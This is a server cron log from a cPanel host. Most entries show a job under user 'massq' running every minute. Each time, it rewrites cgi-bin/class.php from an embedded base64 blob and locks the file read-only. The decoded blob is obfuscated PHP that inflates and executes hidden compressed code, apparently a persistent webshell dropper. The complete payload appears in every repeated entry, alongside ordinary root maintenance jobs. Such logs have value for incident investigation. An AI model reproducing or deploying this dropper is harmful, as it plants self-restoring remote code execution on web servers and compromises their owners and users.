Nov 14 23:26:01 server CROND[15934]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:27:01 server CROND[16861]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 23:27:01 server CROND[16862]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:28:01 server CROND[17821]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:29:01 server CROND[18744]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:30:01 server CROND[19482]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 23:30:01 server CROND[19486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 23:30:01 server CROND[19487]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 23:30:01 server CROND[19491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:31:01 server CROND[20466]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:32:01 server CROND[21493]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:33:01 server CROND[22424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:34:01 server CROND[23282]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:35:01 server CROND[24211]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 23:35:01 server CROND[24215]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 23:35:01 server CROND[24219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 23:35:01 server CROND[24222]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 23:35:01 server CROND[24224]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:36:01 server CROND[25232]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:37:02 server CROND[26189]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:38:01 server CROND[27103]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
